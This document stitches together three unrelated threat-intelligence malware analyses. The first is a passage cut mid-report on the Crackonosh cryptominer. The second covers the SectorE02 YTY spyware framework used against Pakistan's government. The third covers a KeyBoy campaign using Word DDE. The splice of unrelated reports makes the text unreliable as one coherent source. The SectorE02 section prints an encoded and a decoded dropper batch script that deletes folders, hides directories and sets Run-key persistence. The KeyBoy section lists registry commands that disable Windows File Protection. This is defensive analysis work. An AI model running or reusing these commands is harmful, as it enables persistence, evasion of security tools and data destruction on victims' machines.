The installer Inno Setup executes the following script. If it finds it’s “safe” to run malware, then installs the Crackonosh malware to `%SystemRoot%\system32\` and one configuration file to `%localappdata%\Programs\Common` and creates in the Windows Task scheduler the tasks `InstallWinSAT` to start `maintenance.vbs` and `StartupCheckLibrary` to start `StartupcheckLibrary.vbs`. Otherwise, it does nothing at all.
## Analysis of Maintenance.vbs
As noted before, the Crackonosh installer registers the `maintenance.vbs` script with the Windows Task Manager and sets it to run on system startup. The `Maintenance.vbs` creates a counter that counts system startups until it reaches the 7th or 10th system start, depending on the version. After that, `Maintenance.vbs` runs `serviceinstaller.msi`, disables hibernation mode on the infected system, and sets the system to boot to safe mode on the next restart. To cover its tracks, it also deletes `serviceinstaller.msi` and `maintenance.vbs`.
Below is the `maintenance.vbs` script:
`Serviceinstaller.msi` does not manipulate any files on the system; it only modifies the registry to register `serviceinstaller.exe`, the main malware executable, as a service and allows it to run in safe mode. Below you can see the registry entries `serviceinstaller.msi` makes.
## Using Safe Mode to Disable Windows Defender and Antivirus
While the Windows system is in safe mode, antivirus software doesn’t work. This can enable the malicious `Serviceinstaller.exe` to easily disable and delete Windows Defender. It also uses WQL to query all antivirus software installed:
```
SELECT * FROM AntiVirusProduct
```
If it finds any of the following antivirus products, it deletes them with `rd <AV directory> /s /q` command where `<AV directory>` is the default directory name the specific antivirus product uses.
- Adaware
- Bitdefender
- Escan
- F-secure
- Kaspersky
- Mcafee (scanner only)
- Norton
- Panda
It has names of folders where they are installed and finally deletes `%PUBLIC%\Desktop\`. Older versions of `serviceinstaller.exe` used `pathToSignedProductExe` to obtain the containing folder. This folder was then deleted. This way, Crackonosh could delete older versions of Avast or current versions with Self-Defense turned off. It also drops `StartupCheckLibrary.dll` and `winlogui.exe` to `%SystemRoot%\system32\` folder.
In older versions of `serviceinstaller.exe`, it drops `windfn.exe`, which is responsible for dropping and executing `winlogui.exe`. `Winlogui.exe` contains coinminer XMRig, and in newer versions, the `serviceinstaller` drops `winlogui` and creates the following registry entry:
This connects the infected PC to the mining pool on every start.
## Disabling Windows Defender and Windows Update
It deletes the following registry entries to stop Windows Defender and turn off automatic updates. In place of Windows Defender, it installs its own `MSASCuiL.exe`, which puts the icon of Windows Security in the system tray.
## Searching for Configuration Files
Looking at `winrmsrv.exe` behavior showed something interesting in its API calls. There were over a thousand calls of `FindFirstFileExW` and `FindNextFileExW`. We looked at what file it was looking for; unfortunately, the author of malware hid the name of the file behind an SHA256 hash.
This technique was used in other parts of Crackonosh, sometimes with SHA1. Here is a list of searched hashes and corresponding names and paths. In the case of `UserAccountControlSettingsDevice.dat`, the search is also done recursively in all subfolders.
- In `CSIDL_SYSTEM`
- File: `7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450`
- SHA1: `F3764EC8078B4524428A8FC8119946F8E8D99A27`
- SHA256: `86CC68FBF440D4C61EEC18B08E817BB2C0C52B307E673AE3FFB91ED6E129B273`
- File: `7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450B`
- SHA1: `1063489F4BDD043F72F1BED6FA03086AD1D1DE20`
- SHA256: `1A57A37EB4CD23813A25C131F3C6872ED175ABB6F1525F2FE15CFF4C077D5DF7`
- Searched in `CSIDL_Profile` and actual location is `%localappdata%\Programs\Common`
- File: `UserAccountControlSettingsDevice.dat`
- SHA1: `B53B0887B5FD97E3247D7D88D4369BFC449585C5`
- SHA256: `7BB5328FB53B5CD59046580C3756F736688CD298FE8846169F3C75F3526D3DA5`
These files contain configuration information encrypted with XOR cipher with the keys in executables. After decryption, we found names of other parts of malware, some URLs, RSA public keys, communication keys for `winrmsrv.exe`, and commands for XMRig. RSA keys are 8192 and 8912 bits long. These keys are used to verify every file downloaded by Crackonosh (via `StartupCheckLibrary.dll`, `winrmsrv.exe`, `winscomrssrv.dll`).
Here we found the first remark of `wksprtcli.dll`.
## StartupCheckLibrary.dll and Download of wksprtcli.dll
`StartupCheckLibrary.dll` is the way how the author of Crackonosh can download updates of Crackonosh on infected machines. `StartupCheckLibrary.dll` queries TXT DNS records for domains `first.universalwebsolutions.info` and `second.universalwebsolutions.info` (or other TLDs like `getnewupdatesdownload.net` and `webpublicservices.org`). There are TXT DNS records like `ajdbficadbbfC@@@FEpHw7Hn33`. From the first twelve letters, it computes the IP address. The next five characters are the digits of the port encrypted by adding 16. This gives us a socket to download `wksprtcli.dll`. The last eight characters are the version. Downloaded data is validated against one of the public keys stored in the config file.
`Wksprtcli.dll` (exports `DllGetClassObjectMain`) is updating older versions of Crackonosh. The oldest version of `wksprtcli.dll` that we found checks only the nonexistence of `winlogui.exe`. Then it deletes `diskdriver.exe` (previous coinminer) and autostart registry entry. The newest version has a time frame when it runs. It deletes older versions of `winlogui.exe` or `diskdriver.exe` and drops a new version of `winlogui.exe`. It drops new config files and installs `winrmsrv.exe` and `winscomrssrv.dll`. It also changed the way of starting `winlogui.exe` from registry `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` to a task scheduled on user login.
## Analysis of Winrmsrv.exe
`Winrmsrv.exe` is responsible for P2P connection of infected machines. It exchanges version info and is able to download newer versions of Crackonosh. We didn’t find any evidence of versions higher than 0, and therefore we don’t know what files are transferred.
`Winrmsrv.exe` searches for an internet connection. If it succeeds, it derives three different ports in the following ways. First, in the config file, there is an offset (49863) and range (33575) defined. For every port, there is computed SHA-256 from date (days from Unix Epoch time) and 10 B from the config file. Every port is then set as offset plus the first word of SHA modulo range (offset + (2 B of SHA % range)). The first two ports are used for incoming TCP connections. The last one is used to listen to an incoming UDP.
Next, `winrmsrv.exe` starts sending UDP packets containing version and timestamp to random IP addresses to the third port (approximately 10 IPs per second). Packet is prolonged with random bytes (to random length) and encrypted with a Vigenère cipher.
Finally, if `winrmsrv.exe` finds an IP address infected with Crackonosh, it stores the IP, control version, and starts updating the older one with the newer one. The update data is signed with the private key. On the next start, `winrmsrv.exe` connects all stored IPs to check the version before trying new ones. It blocks all IP addresses after the communication. It blocks them for 4 hours unless they didn’t follow the protocol; then the block is permanent (until restart).
## Anti-Detection and Anti-Forensics
As noted before, Crackonosh takes specific actions to evade security software and analysis. Specific actions it takes to evade and disable security software include:
- Deleting antivirus software in safe mode
- Stopping Windows Update
- Replacing Windows Security with a green tick system tray icon
- Using libraries that don’t use the usual `DllMain` that is used when running a library as the main executable (by `rundll32.exe`) but instead are started with some other exported functions.
- `Serviceinstaller` tests if it is running in Safe mode
To protect against analysis, it takes the following actions to test to determine if it’s running in a VM:
- Checks registry keys:
- `SOFTWARE\VMware, Inc`
- `SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters`
- `SOFTWARE\Oracle\VirtualBox Guest Additions`
- Tests if computer time is in some reasonable interval e.g. after creation of malware and before 2023 (`wksprtcli.dll`)
Also, as noted, it delays running to better hide itself. We found the specific installers used hard-coded dates and times for its delay.
## Additional Files
As well as previously discussed, our research found additional files:
- `Startupcheck.vbs`: a one-time script to create a Windows Task Scheduler task for `StartUpCheckLibrary.dll`.
- `Winlogui.dat`, `wslogon???.dat`: temporary files to be moved as new `winlogui.exe`.
- `Perfdish001.dat`: a list of infected IP addresses `winrmsrv.exe` found.
- `Install.msi` and `Install.vbs`: these are in some versions a step between `maintenance.vbs` and `serviceinstaller.msi`, containing commands that are otherwise in `maintenance.vbs`.
## Removal of Crackonosh
Based on our analysis, the following steps are required to fully remove Crackonosh:
1. Delete the following Scheduled Tasks (Task Schedulers):
- `Microsoft\Windows\Maintenance\InstallWinSAT`
- `Microsoft\Windows\Application Experience\StartupCheckLibrary`
- `Microsoft\Windows\WDI\SrvHost\`
- `Microsoft\Windows\Wininet\Winlogui\`
- `Microsoft\Windows\Windows Error Reporting\winrmsrv\`
2. Delete the following files from `c:\Windows\system32\`:
- `7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450`
- `diskdriver.exe`
- `maintenance.vbs`
- `serviceinstaller.exe`
- `serviceinstaller.msi`
- `startupcheck.vbs`
- `startupchecklibrary.dll`
- `windfn.exe`
- `winlogui.exe`
- `winrmsrv.exe`
- `winscomrssrv.dll`
- `wksprtcli.dll`
3. Delete the following file from `C:\Documents and Settings\All Users\Local Settings\Application Data\Programs\Common` (`%localappdata%\Programs\Common`):
- `UserAccountControlSettingsDevice.dat`
4. Delete the following file from `C:\Program Files\Windows Defender\`:
- `MSASCuiL.exe`
5. Delete the following Windows registry keys (using `regedit.exe`):
- `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender` value `DisableAntiSpyware`
- `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection` value `DisableBehaviorMonitoring`
- `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection` value `DisableOnAccessProtection`
- `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection` value `DisableScanOnRealtimeEnable`
- `HKLM\SOFTWARE\Microsoft\Security Center` value `AntiVirusDisableNotify`
- `HKLM\SOFTWARE\Microsoft\Security Center` value `FirewallDisableNotify`
- `HKLM\SOFTWARE\Microsoft\Security Center` value `UpdatesDisableNotify`
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer` value `HideSCAHealth`
- `HKLM\SOFTWARE\Microsoft\Windows Defender\Reporting` value `DisableEnhancedNotifications`
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` value `winlogui`
6. Restore the following default Windows services (Note: depends on your OS version):
- `wuauserv`
- `SecurityHealthService`
- `WinDefend`
- `Sense`
- `MsMpSvc`
7. Reinstall Windows Defender and any third-party security software, if any was installed.
## Conclusion
Crackonosh installs itself by replacing critical Windows system files and abusing the Windows Safe mode to impair system defenses. This malware further protects itself by disabling security software, operating system updates, and employs other anti-analysis techniques to prevent discovery, making it very difficult to detect and remove.
In summary, Crackonosh shows the risks in downloading cracked software and demonstrates that it is highly profitable for attackers. Crackonosh has been circulating since at least June 2018 and has yielded over $2,000,000 USD for its authors in Monero from over 222,000 infected systems worldwide. As long as people continue to download cracked software, attacks like these will continue to be profitable for attackers. The key takeaway from this is that you really can’t get something for nothing, and when you try to steal software, odds are someone is trying to steal from you.
## Indicators of Compromise (IoCs)
- The full list of IoCs: Avast IoC repository
- The list of URLs obtaining TXT DNS records: network.txt
- The list of common file names: filenames.txt
## Public keys
```
-----BEGIN PUBLIC KEY-----
MIIEIjANBgkqhkiG9w0BAQEFAAOCBA8AMIIECgKCBAEA0m9mblXlLhgH/d5WgDw0
2nzOynQvKdkobluX5zFK6ewVkX+3W6Vv2v4CqJ473ti9798Jt9jkDpfEL1yMUDfp
Lp1p4XGVSrTrD16J0Guxx0yzIjyReAzJ8Kazej1z/XGGOtAMZCoLI+TrE4me3SjL
+EXk3pXqyupAgKFiNrlXRj7hbb5vXkeB0MpbV3yJ0ha1OJdAIAwGzQTUsvDWDw00
4sxLfso6CLzR1CKJEH2wT6RVfalnGg6IBwb/fvGewGYECAfnPtEt8TwvzuLsw6NY
BD+tDNcFQk0ZRIAZ+zO5mY4cuWTTBZbAjEFFo5UX4ognHDElltgh+76rXDvtXmeZ
ivDOgJSBXr2+TkQ9dMfYMYLxKHoe8WRBYlI6Wkl59+HQQdQFgSGK6tFtY0T3TVwR
ZxQE1LYwe+0lF1Cop8U/jqRotudKcS+Hyiu0yoSv34C3QwW4ELQktCX5313gcNF/
RA98knE1tl9F3Pl6vnvm1ILb6cxihYy5F0rdLteRNezrjcXOKGA9BV4QTebxH/mi
mm6z4BtTBPNKvrtqo25qx5Oa0fOnVvHAaVtXNjzCNapZwucHH/V8jJzIwcv2ZUP4
Hx9Hkpm5u/3payfDPkWHFwxh3qfDDr2jzgwDjRSOgO1GHGuL1HoIxSgxWFOf6F2z
caOwDrcycDbWiIMeZedJQI1XTrCPoFL4YoyPY2at9tAYW+6Z3gvnvbhen803N2/k
0TWEUU1hUfhOn45IC5r3pCC8Ouy7FIblz1wGm8Qfa8uSD3hxPhaev1G2JJpN4ZVN
UEfeVH6rVcsbQmKoB0xgmcn5Qnq4WoRGtTd1Z4bbC2Zl2q4jqDAutxWdtmEahmcN
OZoTpAjfN96eQReDYLHYkY9SmdjmclnXGo6SP2VHdlm+Xf5DU7E+0c1WNNb2fGN8
+XY29XLuesCppPyeCejMEgIIfIm6A0ltRtwdRHzqgLaY3o6Q6KTvMCQY2zEwKvx8
h1u5CLNpJ0yajbvaO41g4uKBtAPL+N9knsfnIqwG1r7emocrUbj3Nou9mPvtTVHr
r6ZRCmXbdhXTFL6ztLEGYt4wYwvJfKXlgk+3LFECffw0LpjUXEJVtzb//eI4rEyq
J99exvMzQJ5ELLwpRT/Ehq4D7ngc5V/LGQvGNG5MUnzjDF5Ja5W56HcYRVCj8+CV
jHzOUMx1Ojzeb9L87dS+neATWLr+26kMBALr7lEi37483oLQcD5W4bKspQmMdOJb
ED8MEVTd1V6/lTfcBRiHmEdHazV6OnxZsriXQ6MQtnS5WYKjaCwnv2QfUAtfspeO
tGeIalZIdY/MpABHnmhOQZc5rRXrsEU028zmD52OXTXVfnklhhZjHm9QOX6D4fM3
kQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN PUBLIC KEY-----
MIIEfDANBgkqhkiG9w0BAQEFAAOCBGkAMIIEZAKCBFsAuwkH5cn5zS75ZQpdViD/
L5gUpjnJXJL1rWB0toEICF58mkjpR8DGR+Nl3IXgyjSdKprFUU7pVhO5kmlgiId/
VqbBQZdwKaLxi4oeg4zzVQ7ACwanU1eYqOCNoAsrdcuWkytnPUcLRC3VtE5POp1n
skiPiKNt4aWvzXw61+o+ROEQhKcsYaB3Xu34X1HPxI1HSFhPLxuj20Gfiu3Aol3r
mGdxLWa/sVbkYzyinocrVRl09+Tys0JYq1hc+q6ZR3fN1wOqOQm7dlksmPLDAhIi
9AFyKPrdiLc30kpMP3dpZT/IilkRebcrlufiDgXpAij2t6zzHC5cjn4eCOV80kzJ
qgw8oMAww0K2jvhwTWlRkvvAWtkbHUL9VRX69NFAJOuAPsHNv7ScWiy4EW4KxlFd
zR0B6hzsOc/bo0ns5ffrtOFPao1yW7h4BqE8AYpENwKmygQCh+e211Gd0ABD4131
nNYuZokyYXLLEuzwEjzJlw0bKbwn6suVPA8WAa53iy43/5LWQFfWB3AK8qolJ6ck
vyNLJiMtMa1Q+K3pcRndfQpLMsI19ZZyz67Rh0T+QqDt2XQ5gT4gnmPlc2wB3Y7X
2XoZHQZ8FRgYxhS2Szurmn/70NeZEq6p4Zr+yj0FqEjNvR1ooUz5pwJ6iJSmXRtN
ifaBHKhmc4l5ZIUOUkhtsQ1bmsII092gtLPrLkU7hC1hG9vSzUEh6myLs/pqIKTj
x+s+tHqF34XuvNMJOAcv7dXIiQ0QqfG1bFFP6WItwNyeRRGVIkik6GZuAe3lXV5d
bcKr+ID6pZBeI+yN6y+ugX900WZHKZCfSWvAEQDDZW7TCe0sBQpq083B1GVQOg9t
3MM43PqdYrVgH0fRYa6YJ0SrvhFEIjaevszmOYo+eE5P3GHuL4ty45LrkE91qTWk
fYexEQ0QhCsmBFCu+oX/EI6NpAm636zoc9qPZScZBgIAStYCJJt6pIzDr3tq0BFR
oA3CklsFrKloDgx3rBZgNJk4lpWd9kihNRq7EzI8Y/YbAA0SlgkfXj6/4s0B0ODi
2xirUJzhzQnJuvXFdirwoRpHglMtIOhmfy0fMnvorDbmxGyMVM4n44nGLLrqaZj1
+8QWi9PixPNWgznPBeQaT7q78IPooWn9H/efJ2Rb602iW8H9NSbp/Mt2+Qa4O2Cg
ATymvrRG6oyCgNF5L1fUpGQNQpD3PzSyrTdyjEIabjPpPD+doXPq3y+sEYvWVwDc
96SwVSB7oZ3Bj4/tW7IJ4FhPzXcrBl0RsdURHHhJsHPHSQH6QRtebKcc+3TemhN5
CcXjHmETcB0a0FJ6DXNm4iQZx+t/q8F0ZYnBGhR7aAYu5wl5ofJxGFTQkc5KisYh
B6XogfPM7GT5Zw2B7omiXiGHKALXerzQP831+gL8Zso6ZIWGM3F+PJqQarfn0wnT
xQ264rjtnSKnSkfaDRGxpBYyMDF3CxMPHYsmv7K5lF4be5ASK64VexloUQIDAQAB
-----END PUBLIC KEY-----
``` |
# SectorE02 Updates YTY Framework in New Targeted Campaign Against Pakistan Government
## Overview
From March to July this year, the ThreatRecon team noticed a spear phishing campaign by the SectorE02 group targeting the Government of Pakistan and related defense and intelligence organizations. Spear phishing emails are sent to victims via Excel XLS files, prompting them to enable macros that execute a downloader. Recent malicious documents include one purporting to be for registration for the Pakistan Air Force.
SectorE02 has targeted countries in South Asia, especially Pakistan, since at least 2012. Their arsenal includes a modular framework known as the “YTY Framework,” which has both Windows and mobile versions. This framework allows the SectorE02 group to modify and remake individual plugins, maintaining low detection rates by antivirus engines.
## Excel Spear Phishing
The Excel files used by them had names such as `Credit_Score.xls`, `Advance_Salary.xls`, `CSD_Schemes_2019.xls`, and `Agrani_Bank.xls`. In some instances, it masqueraded as an Excel calculator from the National Bank of Pakistan.
### Lure Document 1
In later stages of the campaign, the group switched to using a MsgBox to show an error saying “This file is corrupted.”
### Lure Document 2
The Excel macro retrieves encoded data stored within itself, using simple decimal encoding with a comma (or exclamation mark) as a separator. The same encoding is used for the dropped executable, often as a zip archive containing a batch script and executable.
#### Example Encoded Batch File in XLS Doc using Comma Separator
```
101,99,104,111,32,111,102,102,13,10,114,100,32,47,115,32,47,113,32,37,85,83,69,82,80,82,79,70,73
```
The dropped batch scripts create folders with hidden, system, and archive attributes, dropping the batch and executable files there, and setting persistence through scheduled tasks or the autorun registry key. A text file containing the `%COMPUTERNAME%` variable and random digits is saved as `win.txt`, which is required for the executable downloader.
#### Example Decoded Batch File in XLS Doc
```
@echo off
rd /s /q %USERPROFILE%\Printers\Neighbourhood\Spools
rd /s /q %USERPROFILE%\Print\Network\Server
rd /s /q %USERPROFILE%\DriveData\Files
rd /s /q %USERPROFILE%\DriveData\Wins
md %USERPROFILE%\Printers\Neighbourhood\Spools
md %USERPROFILE%\DriveData\Files
md %USERPROFILE%\DriveData\Wins
md %USERPROFILE%\Print\Network\Server
attrib +a +h +s “%USERPROFILE%\DriveData”
attrib +a +h +s “%USERPROFILE%\Printers”
attrib +a +h +s “%USERPROFILE%\Print”
SET /A %COMPUTERNAME%
SET /A RAND=%RANDOM% 10000 + 1
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%\DriveData\Files\win.txt
echo %COMPUTERNAME%-%RAND% >> %USERPROFILE%\DriveData\Wins\win.txt
reg delete “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Files /f
reg delete “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Wins /f
reg delete “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v BigSyn /f
reg delete “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Dataupdate /f
reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Files /t REG_SZ /d %USERPROFILE%\DriveData\Wins\juchek.exe
reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Wins /t REG_SZ /d %USERPROFILE%\DriveData\Files\svchots.exe
reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v BigSyn /t REG_SZ /d %USERPROFILE%\DriveData\Files\lssms.exe
reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v BigUpdate /t REG_SZ /d %USERPROFILE%\DriveData\Files\lssmp.exe
reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Dataupdate /t REG_SZ /d %USERPROFILE%\DriveData\Files\kylgr.exe
move %userprofile%\AppData\juchek.ttp %userprofile%\DriveData\Wins
ren %userprofile%\DriveData\Wins\juchek.ttp juchek.exe
del %0
```
## Downloader
The latest downloader executable masquerades as an InPage word document (`bgfRdstr54sf.inp`). It uses `CreateEventA` as a mutex with the value “ab567” and only works if the file `%USERPROFILE%\DriveData\Files\win.txt` exists. It polls the C2 server every 100 seconds, using a fixed user agent string and performing an HTTPS GET against `servicejobs[.]life/orderme/[computername]-[random]`. This change allows them to cherry-pick their victims.
The downloader accepts three commands from the server based on the Content-Type response, which are used for saving files to disk or executing files/commands on the system.
## Screenshot Plugin
This executable plugin takes a screenshot every two minutes using the Windows API, saving the raw screen bitmap to the common exfiltration folder `%USERPROFILE%\Print\Network\Server\`. It converts the raw bitmap to a JPG and deletes the raw bitmap file.
### Screenshot JPGs created by the screenshot plugin
The screenshot files are named in the format of `tm_hour-tm_min-tm_sec-tm_year-tm_mday-tm_mon`.
## File Listing Plugin
This executable plugin recursively searches through the drives looking for interesting file extensions. Several default folders are avoided by the malware. The extensions the 2019 version of this plugin did not previously look for are `.odt` and `.eml`, and `.rft` is a spelling mistake of `.rtf`.
The latest version of the plugin looks for files modified later than 2017 and saves the text data of all matching files found in `%APPDATA%\DriveData\Files\clist.log` using the format of `File Path|Size WriteTimestamp l_flag`. A copy of these matching files is also saved to the common exfiltration folder.
## Keylogger Plugin
This plugin uses `CreateEventA` as a mutex with the value “k4351”. It saves user keystrokes and the window title in the common exfiltration folder, saving the file as `[username]_YYYY_MM_DD(HH_mm_ss).txt`.
## Uploader Plugin
This plugin uses `CreateEventA` as a mutex with the value “MyEvent3525” and only works if the file `%USERPROFILE%\DriveData\Files\win.txt` exists. It uploads files from the common exfiltration folder to the C2 server, deleting the uploaded files immediately after.
The uploader performs an HTTP POST to `/upload/[computername]` using the same hard-coded user-agent as the downloader malware.
## Summary
The SectorE02 group’s continuous remaking of their YTY framework plugins allows them to keep detections by security tools at a minimum. They may be recreating each plugin on a per-campaign basis, meaning that each attack campaign might be targeting with new binaries coded from scratch, making detection challenging.
## Indicators of Compromise (IoCs)
### Malicious Excel Files (SHA-256)
- 1f64ab4db42ad68b4b99120ef6e9d1409cf606d31d932c0d306bb11c8ddcb2b4
- 5a70d423fb336448fc7a71fbc3c7a4f0397bc7fa1ec32f7cc42824a432051c33
- 95ea070bbfca04fff58a7092d61527aad0474914ffd2501d96991faad1388c7a
- fdcf3873df6f83336539c4997ce69fce459737c6d655f1972422f861437858a9
- 6d0a3c4b2414c59be1190710c09330f4dd07e7badc4194e592799783f1cfd055
- 7703c3385894dd3468c468745c747bf5c75f37a9b1fcaf2a1d0f291ecb7abce6
- aa1c8adc4b7d352e487842b1d3017f627230ff1057350aaca1ffeb4d6abae16a
- a06a5b1d63ca67da90ba6cd9cbc00d6872707a1b49d44de26d6eb5ce7dd7d545
- cc2c2694d0284153605a98c0e7493fb90aff0d78e7f03e37c80fb505fbf3f93f
- 6d0a3c4b2414c59be1190710c09330f4dd07e7badc4194e592799783f1cfd055
- 42775c20aa5b73b2eaecb5b107ce59d105f978660e6e43f53f804733ce3f7cbe
- f0c85a1c9cf80ad424acebbe7af54176d0cb778a639da2f2f59828af5bb79842
### Dropped Batch Scripts (SHA-256)
- 92b12010772166647f510ad91731e931d58bc077bfc9f9d39adc678cc00fb65d
- 1b46735d6b6aebefd5809274de1aaa56b5fac314b33c2fa51b001e07b4f7e4d7
- 57a9a17baaf61de5cffa8b2e2ec340a179e7e1cd70e046cbd832655c44bc7c1d
- cd03ed9e4f3257836e11016294c8701baa12414b59f221e556cbed16a946b205
- ce1df70e96b4780329d393ff7a37513aec222030e80606ee3ef99b306951d74d
- 9169dab8579d49253f72439f7572e0aabeb685c5ca63bf91fff81502764e79bb
### Dropped YTY Downloaders (SHA-256)
- 5acfd1b49ae86ef66b94a3e0209a2d2a3592c31b57ccbaa4bb9540fcf3403574
- 08b11f246e2ebcfc049f198c055fc855e0af1f8499ba18791e3232efa913b01a
- 62dfec7fe0025e8863c2252abb4ec1abdb4b916b76972910c6a47728bfb648a7
- 13f27543d03fd4bee3267bdc37300e578994f55edabc031de936ff476482ceb4
- b874a158f019dc082a0069eb3f7e169fbec2b4f05b123eed62d81776a7ddb384
- e726c07f3422aaee45187bae9edb1772146ccac50315264b86820db77b42b31c
### YTY File Plugin
- 8fff7f07ebf0a1e0a4eabdcf57744739f39de643d831c36416b663bd243590e1
- d71a1d993e9515ec69a32f913c2a18f14cdb52ef06e4011c8622b5945440c1aa
### YTY Screenshot Plugin
- f10f41bd38832596d4c449f81b9eb4129361aa4e4ebd4a8e8d2d8bf388934ca5
### YTY Keylogger Plugin
- f331f67baa2650c426daae9dee6066029beb8b17253f26ad9ebbd3a64b2b6a37
### YTY File Exfiltration Uploader Plugin
- d4e587b16fbc486a62cc33febd5438be3a9690afc1650af702ed42d00ebfd39e
### IP Addresses
- 179[.]43[.]170[.]155
- 5[.]135[.]199[.]26
### Domains
- data-backup[.]online
- servicejobs[.]life
## MITRE ATT&CK Techniques
The following is a list of MITRE ATT&CK Techniques observed based on our analysis of these malware:
### Initial Access
- T1193 Spearphishing Attachment
### Execution
- T1059 Command-Line Interface
- T1053 Scheduled Task
- T1064 Scripting
- T1204 User Execution
### Persistence
- T1158 Hidden Files and Directories
- T1060 Registry Run Keys / Startup Folder
- T1053 Scheduled Task
### Defense Evasion
- T1140 Deobfuscate/Decode Files or Information
- T1107 File Deletion
- T1158 Hidden Files and Directories
- T1066 Indicator Removal from Tools
- T1112 Modify Registry
- T1027 Obfuscated Files or Information
- T1064 Scripting
### Credential Access
- T1056 Input Capture
### Discovery
- T1010 Application Window Discovery
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1497 Virtualization/Sandbox Evasion
### Collection
- T1119 Automated Collection
- T1005 Data from Local System
- T1039 Data from Network Shared Drive
- T1025 Data from Removable Media
- T1074 Data Staged
- T1114 Email Collection
- T1056 Input Capture
- T1113 Screen Capture
### Command and Control
- T1043 Commonly Used Port
- T1071 Standard Application Layer Protocol
### Exfiltration
- T1020 Automated Exfiltration
- T1041 Exfiltration Over Command and Control Channel |
# The KeyBoys are back in town
In this blog post, we detail our analysis of a recent campaign that we attribute, with high confidence, to KeyBoy, a threat actor believed to be based in or operating from China. KeyBoy has been most recently reported on by CitizenLab in 2016, and now appears to have returned.
## Analysis
Our analysis starts with a Microsoft Word document named `2017 Q4 Work Plan.docx` (with a hash of `292843976600e8ad2130224d70356bfc`), which was created on 2017-10-11 by a user called “Admin”, and first uploaded to VirusTotal, a website and file scanning service, on the same day, by a user in South Africa.
Curiously, the Word document does not contain any macros, or even an exploit. Rather, it uses a technique recently reported on by SensePost, which allows an attacker to craft a specifically created Microsoft Word document, which uses the Dynamic Data Exchange (DDE) protocol. DDE traditionally allows for the sending of messages between applications that share data, for example from Word to Excel or vice versa. In the case reported on by SensePost, this allowed for the fetching or downloading of remote payloads, using PowerShell for example.
Once we extract the initial document, using 7-zip for example, we can observe the usual structure, and inside, a file called `document.xml` is of interest. In this XML, a remote payload, in this case a DLL, will be downloaded using PowerShell, moved to the user’s temporary folder, and run using `rundll32.exe`, starting in the HOK function or export.
This `debug.dll` is a PE32 binary file with the following properties:
- md5 hash: `64b2ac701a0d67da134e13b2efc46900`
- sha1 hash: `1bb516d70591a5a0eb55ee71f9f38597f3640b14`
- sha256 hash: `f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92`
- size: 531,456 bytes
- internal DLL name: `InstallClient.dll`
- compiler: Microsoft
- linker: Microsoft Linker(14.0)[DLL32]
- compilation time: 2017-07-06 08:50:10
This DLL serves as a dropper for the actual payload, and as such the internal name of ‘InstallClient’ is an apt choice by the threat actor. Developing a Yara rule for the simple dropper DLL yielded several new binaries:
- `1dbbdd99cb8d7089ab31efb5dcf09706`
- `5708e0320879de6f9ac928046b1e4f4e`
- `a6903d93f9d6f328bcfe3e196fd8c78b`
- `cf6f333f99ee6342d6735ac2f6a37c1e`
- `ac9b8c82651eafff9a3bbe7c69d69447`
- `d6ddecdb823de235dd650c0f7a2f3d8f`
We have analysed `d6ddecdb823de235dd650c0f7a2f3d8f`, which also has `InstallClient.dll` as its internal name, as it seems to be the earliest dropper DLL used in this campaign, and does not appear to be very different from any of the other DLLs so far uncovered.
The DLL starts in the function named `Insys`, which performs some simple checks, for example, if the current user account is an administrator, and will subsequently call the function named `SSSS`, which is the main function. A substantial amount of actions will follow according to what’s defined in the `SSSS` function, as follows:
- Prepare target DLL, in this case `rasauto.dll`, for replacement in `C:\Windows\System32`;
- Stop the service belonging to the target DLL, and use the `takeown` and `icacls` commands to gain full permissions for the system service DLL;
- Disable Windows File Protection, which normally prevents software or users from replacing critical Windows files;
- Suppress any error messages from Windows from popping up on boot;
- Copy the target DLL, `rasauto.dll`, to a new file named `rasauto32.dll`;
- Replace the target DLL with the malware’s DLL, which is time-stomped in order to evade detection;
- Start the now malicious service using `net.exe` and `net1.exe`;
- Create configuration and keylogs in `C:\Windows\system32`, using an uncommon extension, in this case `.tsp`, and additionally create a folder in `C:\Programdata` for the purpose of screen captures.
The malware will also, in some observed cases, output debug or error messages in a newly created file in the user’s Application Data folder as `DebugLog.TXT`, for example:
`\AppData\Roaming\Microsoft\Windows\Cookies\DebugLog.TXT`
Then, the original dropper DLL will then be deleted, using a simple batch file that runs in a loop.
While visually there is apparently no difference, due to the malware being time-stomped (altering the created and modified dates of a file or folder), we can however observe a few subtle differences in the real and malicious binary. As can be seen, the fake DLL has a different link date, some minor spelling mistakes, and does not include the build in the file version details. As the malware also disables Windows File Protection and thus any pop-ups, it may not be immediately obvious to system administrators that a legitimate DLL was actually replaced. The following commands are issued in order to achieve persistence:
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v SFCDisable /t REG_DWORD /d 4 /f`
- `reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v NoPopUpsOnBoot /t REG_DWORD /d 1 /f`
